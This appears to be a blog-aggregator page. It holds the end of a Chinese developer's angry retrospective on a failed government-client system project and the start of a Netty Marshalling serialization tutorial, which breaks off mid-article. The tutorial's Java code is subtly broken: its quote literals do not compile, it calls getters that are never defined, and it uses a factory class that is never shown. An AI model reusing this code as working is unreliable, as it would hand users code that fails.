事实上此时拉会议对草稿设计的功能宣讲无意义,举个例子是:对于算薪功能中的一个细节实现,宣讲后地市老师提出疑问如我有什么什么场景,你们能不能支撑。而我们的答复则是基于功能设计可以or不可以,不可以的就要考虑改动设计。

又一次进入了决策陷阱,从技术实现来说只要你客户开口,就按你说的来技术上没有阻塞,但这个项目坏不就坏在无人决策了吗~可想而知没有有效产出什么定论,就这么僵持了,后面还是靠甲方大领导急眼了才草草跳过开始研发推进。

并且在宣讲的过程中,我们(系统)和地市(业务人员)并不是一个团队,可以说没有什么通用的语言,地市其实听不太懂功能什么什么的。在项目生命周期里讲,预上线时才有能力做宣讲做培训会,纯粹培训如何使用不变了系统都要一两周,对比下来这时候还没起步就功能宣讲会只的是形式主义教条主义

STEP3:仍然未和客户达成一致的建设范围

STEP2中大领导急眼了,所以宣讲进行到一半就开始去做研发计划和推进了。

这也就导致了,关于一些外部系统对接、行政流程支撑的功能开发到什么支撑程度,这一个从项目开始1个月到现在一直存在的建设范围意见不一致问题,再次搁置。

很奇怪为什么会到现在还没达成一致,专门回溯一下:

  • 刚开始的时候,调研,我们自己没有意识到
  • 调研中期二次线下调研时,我们意识到了,但是为什么没有决策下来?
    • W没有及时上报巨大风险,而是和总监“玩”的会议汇报聊天,而Y信的总监主打一个不粘锅事情你做,无人去触客户这个霉头,皮球推回来,最后反正问责问到你W,总监也只会拉家常老好人保你(继续pua)。
  • 标准业务流程时,已经暴露存在很久了,为什么还是没有决策下来?
    • 每次周会反馈上去,都会被踢皮球踢回来,让你去调查可不可以接。而同时P和YY早有自己的想法,二级是糊涂车子。复盘才可以看出来,只是个过场让你去调查,而不是让你真调查告诉他们有多大阻力不能接,你的答复如果想被正式认可只能是“保证完成任务”。真是恶心当时我们还指望说服这帮虫豸。
STEPX:时间差不多咯该出研发计划咯

时间上,在甲方的功能评审宣讲尚未通过时,B就要求研发计划,混乱的并行着。

而W则是服从,要我辅助他给个雏形好汇报的研发点概要,即使W、HB我们都知道这个是失真的。

我们当时都在想什么已经无从考证了,总结下来只能说是形势比人强,不出研发计划不行。(核心问题是我们又一次忘了官方渠道申明我们的无辜,被迫出了一份自己不认的计划还落人口实,最后也确实被缺少道德的甲方用来扯钱扯逾期的事情了。

在甲方大领导急眼后,研发计划正式出要执行的了,但是嘛,内部矛盾开始爆发。

要有一份可执行的研发计划的前提是你的功能设计(或者说叫概要设计是完善的),可以支撑下一步详细设计。 详细设计出个七七八八我才敢拍脑袋告诉你大概多少人天可以完成开发任务。

那么小伙子,现在功能设计宣讲一半被叫停了,同时一些对外部系统交互的功能的边界还是模糊的,这个概要设计的完善程度您觉得有几成。

那么小伙子在当前人力投入下,先不考虑概要设计的完善程度,权当能用,那么您觉得有谁(how many people)可以去做详细设计。又有哪些人可以帮助决策评审详细设计是否合适通过。

现在要你3天内出研发计划(B真是个畜生,寄生虫传话筒),回答这两个小伙子的问题后,就很显然了,这份研发计划不可能具备几成真实性,又一次的面向汇报编程。

内部的争执自然而然的发生了,对外承担压力的HB和被逼着出设计和人力需求的我都很无辜,都觉得受到了其他人的阻力和胡乱指导,但其实是客户和B的全责。

此时的研发计划是总体层面给大领导一级二级看的

之后研发正式开始后,我们的研发阶段才被分为了0430、0530、0630分3个版本上线

STEPY:技术方案PPT

值得学习的方法论:如何传递信息给他人的过程中发现不足之写写PPT。

在你写PPT的过程中,你会发现自己最初的以为自己完全知道这个系统长什么样、知道几个重点功能的模型是什么样的,是不可靠的。 只有当落到纸面上时,才会发现还有细节悬而未定,凡事预则立,这些细节再画PPT的过程中一步步变得清晰。

脑子里有雏形能够执行下去时慢慢清晰地完成执行是一回事,而能够书面清晰地讲出来传递给评审人员又是进步了一个阶层。

帝皇的货币-研发、测试、运维都不是人

【202403-202407】

STEP1:基础设施的摇摆
  • 技术方案中涉及到系统架构,其中又涉及到云服务的基座,在这个客户的要求下是必须使用PJ平台的,悲愤交加的是:和向他们要求人员指导如何使用PJ平台,甲方居然说要我们自己一步步对平台,他们以前没有对接过,搞得自己集团内的事不关己,而这些对接内容也在标书里……

W居然寻求B的帮助,B的公司说是他们承建的部分比我们先结束调研开始的研发推进,所以可以帮我们出文档……但是还是太嫩了,怎么可能别人公司帮你上心做呢……事实也确实如此,那文档流水账都不为过,只有软件的安装指导能用,之后是我们运维专人去对接的PJ,文档量级翻了10倍不止。

  • 数据库选型则是好像我们有得选,其实没得选必须用指定的国产化数据库,即使其他的国产数据库也在清单里,但是政治上今年只有PW数据库可以选。

数据库方面存在以下问题:

1、不知道自己的数据量级别:虽然是分几批上线,可能还会分到2期建设,但是数据库资源要考虑扩容的便捷性时间成本、稳定性(直接咨询数据库提供方),所以最好一次性申请全生命周期(至少5年审计满足)的资源。然而此时甲方内部提供不出一个省份/地市的月份数据量均值。

2、不想给成本高的资源:当我们评估出应对审计5年全部数据需要多大量级的存储资源,并由PW提供方提供满足应用服务规模下,每个CORE吃每个50个连接需要多大规模的CN、DN及主机型号性能后,提交上去审批。首先发难的是W,在天上飘久了屁股歪完了,需要多少资源白纸黑字算出来的有依据,他却先甲方一步拦截,说是“太多了,我认不了”,不知道他是出于什么目的发表意见不认的。 第二个不认的是甲方,理由很简单,太多了给不起,穷。

那穷确实没办法了,只能讨论一波波申请扩容了,评估下扩容对于运行态数据库服务的影响。

分布式数据库的评估看

1、其引擎是什么,Mysql还是Pg还是其它什么,关注其SQL执行时是下压DN执行还是拉取到CN大内存执行。关注这个是因为被中兴的GoldenGB搞到PTSD了,GoldenDB会动不动就因为大数据量SQL拉取CN大内存的模式把节点搞崩掉。下压还是拉取也会决定其事务机制如何保证,所以需要与数据库提供方沟通明确后研发内部全体知道。

2、数据膨胀率:你都需要分布式了,那数据量不可能小了,大数据量下膨胀率会带来恐怖的资源浪费,磁盘需求可能超乎想象的大于评估数据量。

3、和集中式一样都要关心的:主备主从一致性相关机制(数据库方提供)、多地容灾(我方要求)、扩容机制(数据库方提供)

4、锁的颗粒度,锁表还是锁行,我不要自己想我要数据库直接给我参考手册,这会影响到一些业务操作的性能问题变相影响设计取舍。CN局部还是全局锁,这个在测试阶段出现过问题怀疑,但结果上是全局的。

5、基础的性能:吞吐效率、压力并发下的性能、复杂SQL的性能降级情况

6、可靠性、稳定性:这个反而最无所谓,出数据库本身的问题了一定是PW团队背锅,打工仔别在意。

  • 其他中间件评估问题:

Redis:

在这个系统中,Redis只是用作缓存和分布式锁,作为缓存我们原则上要考虑吞吐性能。但是1是此时建设全景不清晰,2是只有平台只给几种redis型号供你选择,所以我们简单的选择了高性能型号了事,属于是将问题延后到预上线阶段,出现瓶颈再扩容咯。一切战术转压测

MQ:

消息队列的评估其实没有评估用哪种Mq更好:我们只关心是否需要使用Mq,Mq对于我们的系统来说,只是为了传递不同功能间的事件驱动业务的传递下去,任何一种mq都可以满足需求。既然是平台提供的可靠中间件服务,所以申请新一些的rocketmq总归是好的。同样未评估吞吐量、持久化周期,选择高性能型号。(平台提供中间件是可配置项较少的没那么多八股的什么同步异步刷盘,什么是否开启同步持久化什么的)

  • 开发环境也存在问题:

PW数据库、PJ云基座亮过相了,开发环境的问题轮到PZ一体化持续集成平台了,这三兄弟是一套,PZ主打代码仓库可以和自己的PJ、PW连通。

问题在于安全要求下,使用PZ的电脑必须安装零信任安全,而零信任安全会摧毁一个电脑的使用可能,无法用于其它任何事务。对于此风险,这时我已经从调研的恍惚出来了,能够判断并上报风险,邮件也该发发了。可是HB和W都没当回事,这就是整个Y信领导在天上飘的久了的问题,总以为自己领导有方可以和xx内一样说话发文解决一切。HB尚且可以理解他,不是技术人员,W则无从开脱。

因为风险被无视,产生的后果是推进PJ事务的同事电脑无法办公一星期。

这个安全软件废电脑的问题,单纯解决是好解决的,我们申请一台电脑专门干PZ、PJ的事务就好了,但是会在后面产生持续集成的问题:公司git和PZ git存在了2套代码仓库,而两套都有着自己的测试UAT生产环境的分支。---见持续集成MINI

  • 资源评估也闹心:

此时还没有决策到底做几省还是全国,只是允许分成几批上线,所以资源到底按什么来评估也是个迷。此时的业务功能详细设计也没出来,用户行为自然也是不清晰的,要承载多大的性能指标故也不清楚,这拿什么评估。

且算薪部分的计算数据量也无从参考……算薪时间要求,他们也不给……

所以资源评估是保守按照以前做的省份评估的,往大了估。结果估完后甲方又不认账,觉得太多了……哥们这是建设系统你在这“觉得”是什么意思,你们的专家评审都没意见认了我的评估依据……

拖了一周终于开始申请了,又发现资源不够没那么多物理机,what can i say。

STEP2:内部还在人力投入扯皮
不枉你Y信有今天鸭,从CEO到他下面一级级领导全是歪把子。
人员质量

四处借人,都这时候了还在掰扯自己的人力工时,质量差,代码差,巨大风险,反正我抄邮件了。

STEP3.1:赶鸭子上架的系统设计

研发设计层面没什么可说的,架构服务划分之前技术方案已经做过了,这里就是业务模型去设计合理的数据库模型,然后作为参与调研的研发头头向每个近端远端研发传递设计拉会,进行保障。

详细设计是我独断的。

败笔是没有使用DDD,从复盘的视角看在研发阶段如果使用DDD可以降低很多我与其他研发的沟通成本,也可以兜底甲方在后面出现的紧急变动紧急改设计的情况

发现了:DDD在与越差的研发沟通时越好用的特性,传统的功能接口设计文档,在对于能力较差的研发沟通时,他们很慢很难理解业务与设计的关联性或单纯的业务理解。DDD具有起跑线拉齐的作用

在与研发沟通的时候,我们可以发现虽然从研发上去的领导们,总想着业务与开发分线条,这也是过去的大趋势。但是在实际沟通中研发必须理解一定的业务才可以开始工作,否则你对研发输出的设计将不得不细化到每一步操作即详细设计。

STEP3.2:仍然在摇摆建设范围的甲方

研发正式开始后,我们的研发阶段被分为了0430、0530、0630分3个版本上线

此上线版本划分、时间划分是没有可靠性支撑的,这个不必多说,HB拉出这个计划是“没用的事也要做”的方法论一部分,做出这个计划在所有人心中埋下一个潜意识的死线,如果没有这个死线潜意识,进度只会更加崩塌。--当然这不意味着可以不遵守时间交货,这是HB从研发反馈+客户压力权衡中给出的一个时间要求。

而在4月版本建设一半时,我们还在和客户拉扯到底外部系统对接的边界是什么。中途加入的测试专人SJ在空闲期被分配去专门处理外部系统对接的事梳理,至少没有再并行复用调研老人了,算是有点章法了。

悲哀的是他也步入了认真调查,然后被客户否定暗示你必须做的循环。我前面说过的:复盘才可以看出来,只是个过场让你去调查,而不是让你真调查告诉他们有多大阻力不能接

是不是必须做这个摇摆问题,总的来看背锅的话,我们自己是没判断好-和-客户没正式表明审计是必须的政治任务,各占一半

在2、3月份得知了这个项目背着政治任务后:(1)客户未明确正式表明为了审计安全,数据安全,你们必须接xxxx系统,在那里指点江山过领导瘾却毫无决策负责意识。(2)我们该自己判断出来这个是他们的核心诉求去帮助他们点破,不再浪费时间拉扯提前进入对接。而不是心存幻想听酒囊饭袋领导的飘在天上的指点如何省成本讨价还价。

STEP4:这时候临时要审批能力?

和STEP3.2的摇摆建设范围相似,这时二级三级P又接到上级指示:这系统啊,一定要有审批。

而万恶之源标书呃呃呃呃。

审批能力怎么来呢?此时有2个大路线可以选:1、接入B他们公司承建部分的系统,这个客户比较乐意看到,毕竟国企特色xx精神象征意义比较大,“兄弟们一个系统嘛哈哈”。2、我们自己建。

从跌宕起伏到现在5月份,我们已经对与B方(或者说B个人)的合作力度没有信任了,所以直接强烈否决第一个。我们自己建的话又该如何推进呢?

客观的说B他们也有成本考虑人力考虑,也不可能和我们认真对接,派个实习生了事是他们的作风。

而我们的内部建设如何落实:你可以看到内部4、5个总监的勾心斗角,他们飘在天上不在乎建设人员的死活,这时候还在勾心斗角怎么多分一点。

W和我通气的是:我们有没有能力自己建设,答案是有的,封装一个flowable/activiti的工作流并不是难事,开源的比比皆是哪来即用。那么分三个维度讨论:

代价:更多的人力投入:我的投入其它前端后端的额外投入。因为其他人放心不下,前端水平无法主导(灾难很好控制的零件)

好处:我们保证了自己部门对这个项目的控制力(金钱分配、代码控制)

风险:(1)我的抽身将导致主体业务研发停滞。(2)审批建设图景的不可预见,虽然薅一个开源的改改,技术路线是可行的,但是这实际上要求对于审批需求的再调研、画原型、出设计。

所以在HB的总监M提出把CRM的现成的产品里的审批拿过来改改时,我们接受了这个方案。 当然M把CRM的审批薅过来,也是要进行调研、设计、适配的,但是这样子推进的负责不再需要我们部门参与,由M分治。

我们付出的代价是这个项目的报酬分到配有M部门一份。

确定了M总监亲自负责后,审批就稳了吗?答案是黑色幽默否定的:

M从CRM那里薅过来了一个T4人员负责此事,M要求其出个方案和我们对接,我们乐于见到这个场景。

在T4过来一周后,其进展处于部署一套审批服务的阶段,问题在于

1、这一周里前端配合其他将审批的页面搬移到系统内,虽然并不顺利但还算是在进行。

2、他独立要了一个研发云环境部署审批服务,我们并未关注。然而在与其同步信息后,此时才把问题暴露出来:他一直部署的审批服务要求一套自己的zk、antdb,而他这一周都没有与我们共同评估如何解决这个问题,一直默认当作我们会提供zk和antdb在那里死做。

3、他并未梳理一个可供评估的业务功能接入审批的流程/时序/接口清单此类文档。

what can i say?这就是Y信的T4,这就是M(总监)的管理(对于研发人员的管理、对于自己的CRM的掌握程度)。

做完这整个项目,我可以负责任的给Y信领导定个性:从研发做起赶上时代机遇,踩着风口扩张做上了领导位置,名不副实并不会管理只为自己工资负责的管理人。

Y信有今天的盛况,就是老领导们和老T4M4们互相成就倚老卖老的结果。

STEP5:没理由的分阶段上线军令状

上线几个版本被粗暴的划分为430、530、630,虽然是与我们有过沟通共通决定的,但还是很不爽。

所谓共同决定,即客户强压之下,项目经理做出的合理决策,必须要给客户可以吃下的定心丸,所以不管我们研发觉得这几个版本的意义是否具备实际意义(哪怕只有最后一版才可用),都要划出几个版本。

可以理解,嗯,可以理解,这确实是合理的做法。我们也配合他尽量划分的不要太破碎模块,让每个版本可以一部分运行起来。

但代价是什么呢?没日没夜的加班,同时对于我们(研发侧)自己这是给自己挖坑承诺按期交货。

现实是复杂的,HB有他这么做的合理性,但我们配合他之后,如果完不成按期交货,又要被他在会议上说,他也要保护自己的(他本身是跟着M总监的不是我们部门的),而那些尸位素餐的总监又看重这种勾心斗角(本身从项目开始不顺时各位领导就开始吵架了)

HB总是说“兄弟们努努力”,作为研发侧我们是很反感的,口惠而实不至,努力没有回报。但是如果客观看待,HB他说或是不说取一个更好的,那还是“说”对于推进和氛围更有利。一方面是这种“废话”对于推进是必须的,日常任务一样的话必须说,说了总比不说好;另一方面是,他老油条知道我们会不爽,但不爽骂给他就好了,不挨骂怎么赚钱,也是有利于推进的。

STEP6:进度要到百分比说是

HB作为项目经理每天都要“质询”进度,每次都要浪费所有研发人员上会1小时起步。

这个问题在于:

1、HB完全不懂业务也不想去了解业务,事实上之前的补充调研HB是随着一起去省内调研了的,但是到研发阶段了,HB依旧对于业务毫无认识,要了解我们的系统设计也就无从谈起,更无法理解功能间的关联性、功能自身的复杂度评估。

2、研发人员不知道自己的进度算什么情况:研发人员都是中途进入的,或者说在传统研发推进下,每个研发不会对整个系统设计有广泛的理解,最多按照代码开发情况给一个不可靠的单元百分比。而在计划排期中,完成一个单元的开发后就要开始测试工作,如果不同单元间存在依赖影响,那么实际无法开启测试工作/无法给出自己的单元百分比(因为还存在依赖)。所以给出的进度是强压下被迫给出的并不可信,只是他们让自己心安和向上向客户汇报的定心丸,无语,但又必须这么执行下去

综上导致,我们总会在会议上,HB向研发要求进度时陪同:

1、在存在多单元依赖关系时充当总控协调器来统计一个尽量可信的进度给到HB。不这样的话,研发在压迫下给出的不可靠进度会坑我们自己。

2、同时还要频繁反复解释几个业务间的关系所以为什么xxxx不能给你这个进度/这个先挂起。因为在HB的视角是排期出来就万事大吉了,即使这个排期时我们也解释过了不同单元功能间没法排准确时间,只是一个概括,只有二级标题是可信的功能点,再细的随时调整。进行中也会调整变动--但HB还是按计划时间在会议上反复要进度,要的颗粒度还是最细的一个个功能点级别,我们总要解释这个为什么调整那个为什么挂起,很难受。

最多是可以理解他也有焦虑有压力扛了很多外部压力,但是这种不变通不学习的把压力转移到研发是不好的行为

  • 先这样吧累了
STEP7:形不成闭环的研发/测试/发布

极低的代码质量导致返工频发。偶尔我空了也会看看提交的代码,无语

测试不够专业仅单元功能

发布受到平台阻力gank,甲方也不作为,甚至临时领导视察还要装一版

上线就是成功,成功就是上线

到底为什么,这个项目所有人老油条都没意识到建设范围的不明确之祸患

从功能边界,至验收标准,无一明确。或者说是意识到了,但又是事不关己敲个钟,没去落实到客户麻烦事。

中间件也会暴雷

未提前进行可用性验证

政治怪帅导向的两个最终版本

计算版本

审计版本

都这时候了还在扯人力分配

怎么才算上线成功

这时候才定地市?收集模板?

急了,甲方不作为的傻逼三级P急了

不可能算得准,M:结果导向(真)

都这时候了你们还这个支持力度啊甲方真有你的

持续集成MINI

【202407-202411】

双git仓库&&各种临时版本、需求敏捷的CICD

在多人并行开发一个功能边界赶鸭子上架的初创项目时,该怎么划分分支形成提交规范呢?

分支的划分诉求本质上是

(1)代码间的干涉问题,无法保证不划分分支的前提下 (2)版本间隔离的诉求:不能把未审计代码发布出去

在最初的代码分支设计上,我们只有一个dev开发分支,因为此时的诉求是建设一个430版本上线,我们的诉求是这个430日期上线的结果将所有功能看作一个任务。我们的功能由自己0-1设计出来,在分配任务时总控将任务尽可能分配的不会产生多人互相干扰代码的场景,并且进行了人员间依赖的接口与其demo实现类的要求。在发布时发布人员从我们的git拉取代码,复制到PZ的git下再force push,PZ事实上只是一个对于我们git的镜像。

随着430、530发布后出现了新的问题,此时的代码已经具备了一定的规模,在进行630版本的开发任务时,不可避免的会出现新的未测试完成的代码在公共测试环境测试时会发现bug,并且会对已有功能产生阻塞/干涉,进而影响其他人的本地测试/公共测试环境测试。

我们可以创建每个人的私人分支以贮藏代码,自测通过再合并dev分支,但是问题并没有得到解决,问题的本质是我们只有一套公共的测试环境。想要进行联调就不得不发布到这个公共测试环境,如果想要保证公共测试环境总是可用的,就必须将联调测试的工作前移到其它环境(比如两个研发间本地互通联调,或每个人一套私有测试环境),此时“公共测试环境”实际上定义变为了“公共准发布环境”。

最终的结论是没有那么多资源且网络受阻的前提下,我们维持现状,依旧定义为“公共测试环境”就是用来测试用来测出问题的,同时进一步宣传“研发在自测时要足够充分”(也怪我们的研发质量实在太低了)。

此时分支包含每个人的私有分支和dev分支,PZ的git依旧只有一个dev分支作为完全一致的镜像。

再之后是630之后的一系列优化和新需求,因为正式的大版本发布完了,进入了一个迭代优化期,所以我们必须有一个可靠的版本与测试环境dev分支隔离开,故而新创建masterPW分支。此时masterPW分支与PW的git的唯一一个分支(dev)一一对应,我们的代码经过公共测试环境通过后再pick到masterPW分支,由专人专机copy发布。

此时存在的问题是:

1、git管控代码的最小粒度是文件,即"类",而一个类中同时会存在多个不同发布日期的开发功能在进行,且这几个开发功能点是会互相影响的。这导致了::研发如果提前开始了下个功能的开发,那么当到达发布测试日期后,在uat或准生产环境测试出现新的bug时,他必须在本地精细的调整每一个方法的代码以pick新的提交到masterPW分支。

2、敏捷的需求并不会允许你按排期进行发布:敏捷这个词说的好听,其实是需求塑形的不完善,并没有准确的细致的掌握需求全貌,故而产生了发布后客户准生产使用过程中的各类调整需求。在此基础上,每次敏捷都要求重新审视排期计划,如果进行了较大的调整研发就要回滚各种开发到一半的其它功能代码,很难管理并且会让研发产生无用功心理。

630里程碑后之后的一系列优化和新需求,为了满足上线发布的安全,是需要对每次版本做好回滚的,PJ平台提供了镜像历史的能力,那么我们只需要考虑一下代码是否也需要做好每个发布小版本的管控:结果上是不需要的,需求是单向滚动的,如果出现破坏性的敏捷需求那也意味着整体设计大改,客户如果发出这样的诉求,不会有回滚的余地。

其他变动:随着大版本发布步入正式化,PW原masterPW分支对应客户测试环境,新增-prod和-uat分支应对生产和uat环境

image.png

持续生产事故(划死)故事

网络不通

半夜死机,长期锁表

审批调度程序效率

与B联调

表规模超出预期

启动慢

驱动

地址还能写死

性能过差的导入

基础设计变动-person

不成熟的设计-ss select

八股文会说的分布式事务-审批发起

失败在于什么?

从头到尾没有确定建设范围,缺少议价权

对方决策者缺少担当,我方缺少对对方的定性,我方领导缺少担当

研发力量/激励不足,不做事

个体的力量是有极限的,建设好我们的青年同事队伍.jpg

by 挣扎的20届 at January 21, 2025 11:13 AM

juejin backend

分布式系统通信解决方案:Netty Marshalling 全面解析

分布式系统通信解决方案:Netty Marshalling 全面解析

一、引言

在现代网络编程中,Netty 作为一款高性能、异步事件驱动的网络应用框架,因其强大的功能和灵活的扩展性,备受开发者青睐。Netty 广泛应用于分布式系统、RPC 框架以及高并发场景中,是构建高效网络服务的利器。

在我之前的博客《构建高性能网络服务:从 Socket 原理到 Netty 应用实践》中,详细探讨了从传统的 Socket 通信原理到 Netty 应用的基本实践内容,包括:

  1. Socket 编程的局限性:传统阻塞式 IO 在高并发场景中的瓶颈。
  2. NIO 的优势与挑战:通过多路复用和非阻塞 IO 提升效率,但编程复杂度较高。
  3. Netty 的解决方案:屏蔽底层复杂性,提供直观 API,支持高性能网络通信。

在实际开发中,数据的编解码 是网络传输中的关键环节。Netty 提供了强大的工具和机制,如 ByteBuf、编码解码器,以及更高级的序列化方案,极大简化了开发工作。

本文将重点介绍 Netty 的高级编解码技术之一: Marshalling。这是基于 JBoss Marshalling 项目实现的一种高效序列化机制。通过本文,你将学习如何利用 Marshalling 实现 Java 对象的高效传输,同时结合其他编解码工具构建稳定、高性能的网络应用。

如果你还不熟悉 Netty 的基础知识,可以先参考我的博客《构建高性能网络服务:从 Socket 原理到 Netty 应用实践》,获取必要的背景知识。

二、什么是 Marshalling

Marshalling 是 Netty 提供的一种序列化机制,基于 JBoss 的 Marshalling 项目实现。它用于将 Java 对象转换为字节流以便传输,以及将字节流反序列化回 Java 对象。

相比于 Java 自带的 ObjectInputStreamObjectOutputStreamMarshalling 具有以下优势:

  1. 性能更优:序列化和反序列化的效率更高。
  2. 可扩展性强:支持自定义序列化策略。
  3. 更易集成:与 Netty 无缝集成,提供专用的编解码器。

三、Marshalling 的核心组件

在 Netty 中,Marshalling 的主要职责是高效地完成 Java 对象与字节流之间的转换,适用于需要序列化复杂对象的网络传输场景。Netty 提供了两大核心组件与其相关联:

1. MarshallingEncoder

功能: 负责将 Java 对象序列化为字节流并写入到 ByteBuf 中,便于通过网络传输。它是一个 MessageToByteEncoder 的实现类,专为对象序列化设计。

关键特性:

  • 高效性:通过底层优化的序列化机制,提升对象转换的性能。
  • 流式操作:可以将复杂的对象轻松转换为网络流中的字节表示。

典型使用场景:

  • 在客户端或服务端发送包含复杂对象的数据包时,利用 MarshallingEncoder 将对象序列化为可传输的字节流。
  • 适用于传输包含嵌套结构的对象,如 JSON、XML 或复杂 POJO。

2. MarshallingDecoder

功能: 负责将接收到的字节流反序列化为 Java 对象。它是一个 ByteToMessageDecoder 的实现类,能够从 ByteBuf 中读取字节流并还原为原始对象。

关键特性:

  • 自动拆包:根据字节流解析完整对象,避免由于 TCP 拆包或黏包导致的数据不完整问题。
  • 灵活性:可结合其他解码器(如 DelimiterBasedFrameDecoderLengthFieldBasedFrameDecoder)实现定制化数据解析。

典型使用场景:

  • 在服务端或客户端接收包含序列化对象的数据包时,使用 MarshallingDecoder 将其反序列化为具体的 Java 对象。
  • 适用于需要还原复杂对象的场景,如 RPC 调用、分布式系统通信等。

3. Marshalling 编解码器的协作工作流程

为了让 MarshallingEncoderMarshallingDecoder 正常协作工作,我们需要将它们添加到 Netty 的 ChannelPipeline 中。整个工作流程如下:

  1. 发送端:将 Java 对象交由 MarshallingEncoder 序列化为字节流,再通过其他编码器(如长度字段或分隔符解码器)添加传输标识。
  2. 接收端:接收到字节流后,MarshallingDecoder 将其反序列化为 Java 对象。

示意图:

lua复制编辑+-----------------------+          +-----------------------+
|    MarshallingEncoder | ----->  |    网络传输(字节流)  | ----->  |    MarshallingDecoder |
+-----------------------+          +-----------------------+
    (对象序列化)                         (传输数据)                (对象反序列化)

4. 配合定制化工具的使用

MarshallingEncoderMarshallingDecoder 可与其他 Netty 编解码器(如 DelimiterBasedFrameDecoderLengthFieldBasedFrameDecoder)结合使用,以解决 TCP 拆包黏包问题并优化网络传输。具体例子将在后续示例中详细展示。


通过对 MarshallingEncoderMarshallingDecoder 的合理应用,我们可以高效、安全地实现对象的序列化与反序列化操作,为构建复杂的网络传输方案提供坚实基础。


四、快速入门

场景描述

我们实现一个简单的库存管理系统,服务端接收客户端发送的库存变动请求,并返回处理结果。每次请求和响应都包含复杂的 Java 对象,例如 InventoryRequestInventoryResponse

这些对象包含多层嵌套结构和集合数据,适合展示 Marshalling 的序列化能力。

4.1 引入依赖

在 Maven 项目中添加以下依赖:

<dependency>
    <groupId>org.jboss.marshalling</groupId>
    <artifactId>jboss-marshalling</artifactId>
    <version>2.0.12.Final</version>
</dependency>
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-all</artifactId>
    <version>4.1.97.Final</version>
</dependency>

4.2 初始化 Marshalling 编解码器

示例代码

1. 创建复杂的传输对象

定义两个对象:InventoryRequestInventoryResponse,并实现 Serializable 接口以支持序列化。

创建一个工具类 MarshallingCodeCFactory 来初始化编解码器:

import java.io.Serializable;
import java.util.List;

// 库存请求对象
public class InventoryRequest implements Serializable {
    private static final long serialVersionUID = 1L;
    private String productId; // 产品 ID
    private int quantity;     // 请求的数量
    private String operation; // 操作类型:增加(add) 或 减少(remove)

    // 构造方法、getter 和 setter
    public InventoryRequest(String productId, int quantity, String operation) {
        this.productId = productId;
        this.quantity = quantity;
        this.operation = operation;
    }

    @Override
    public String toString() {
        return "InventoryRequest{" +
                "productId='" + productId + ''' +
                ", quantity=" + quantity +
                ", operation='" + operation + ''' +
                '}';
    }
}

// 库存响应对象
public class InventoryResponse implements Serializable {
    private static final long serialVersionUID = 1L;
    private String productId; // 产品 ID
    private boolean success;  // 是否成功
    private String message;   // 响应消息

    // 构造方法、getter 和 setter
    public InventoryResponse(String productId, boolean success, String message) {
        this.productId = productId;
        this.success = success;
        this.message = message;
    }

    @Override
    public String toString() {
        return "InventoryResponse{" +
                "productId='" + productId + ''' +
                ", success=" + success +
                ", message='" + message + ''' +
                '}';
    }
}

4.3 服务端代码

2. 服务端实现
服务端处理逻辑(Handler):

服务端接收 InventoryRequest 对象,解析后根据操作类型更新库存,并返回 InventoryResponse 对象。

import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;

public class InventoryServerHandler extends SimpleChannelInboundHandler<InventoryRequest> {
    @Override
    protected void channelRead0(ChannelHandlerContext ctx, InventoryRequest request) {
        System.out.println("收到客户端请求:" + request);

        // 模拟库存处理逻辑
        boolean success = "add".equals(request.getOperation()) || "remove".equals(request.getOperation());
        String message = success ? "操作成功!" : "操作失败,未知操作类型:" + request.getOperation();

        // 构造响应对象
        InventoryResponse response = new InventoryResponse(request.getProductId(), success, message);

        // 发送响应
        ctx.writeAndFlush(response);
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        cause.printStackTrace();
        ctx.close();
    }
}

服务端启动类
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;

public class InventoryServer {
    public static void main(String[] args) throws Exception {
        EventLoopGroup bossGroup = new NioEventLoopGroup();
        EventLoopGroup workerGroup = new NioEventLoopGroup();

        try {
            ServerBootstrap bootstrap = new ServerBootstrap();
            bootstrap.group(bossGroup, workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingDecoder());
                            ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingEncoder());
                            ch.pipeline().addLast(new InventoryServerHandler());
                        }
                    });

            ChannelFuture future = bootstrap.bind(8080).sync();
            System.out.println("服务端启动,端口:8080");
            future.channel().closeFuture().sync();
        } finally {
            bossGroup.shutdownGracefully();
            workerGroup.shutdownGracefully();
        }
    }
}

4.4 客户端代码

客户端发送逻辑(Handler):

客户端发送一个 InventoryRequest,并接收服务端返回的 InventoryResponse

import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;

public class InventoryClientHandler extends SimpleChannelInboundHandler<InventoryResponse> {
    @Override
    public void channelActive(ChannelHandlerContext ctx) {
        // 构造一个请求对象并发送
        InventoryRequest request = new InventoryRequest("P12345", 10, "add");
        ctx.writeAndFlush(request);
        System.out.println("客户端已发送请求:" + request);
    }

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, InventoryResponse response) {
        // 打印服务端响应
        System.out.println("收到服务端响应:" + response);
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        cause.printStackTrace();
        ctx.close();
    }
}

客户端启动
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;

public class InventoryClient {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new NioEventLoopGroup();

        try {
            Bootstrap bootstrap = new Bootstrap();
            bootstrap.group(group)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingDecoder());
                            ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingEncoder());
                            ch.pipeline().addLast(new InventoryClientHandler());
                        }
                    });

            ChannelFuture future = bootstrap.connect("localhost", 8080).sync();
            future.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}


五、TCP 拆包与黏包问题

虽然 Marshalling 解决了数据的序列化与反序列化问题,但在基于 TCP 的网络通信中,可能会遇到拆包黏包现象。

